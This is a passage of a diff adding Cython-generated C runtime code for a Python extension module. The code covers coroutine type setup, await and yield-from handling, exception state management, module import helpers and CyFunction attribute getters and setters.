Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__7); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if 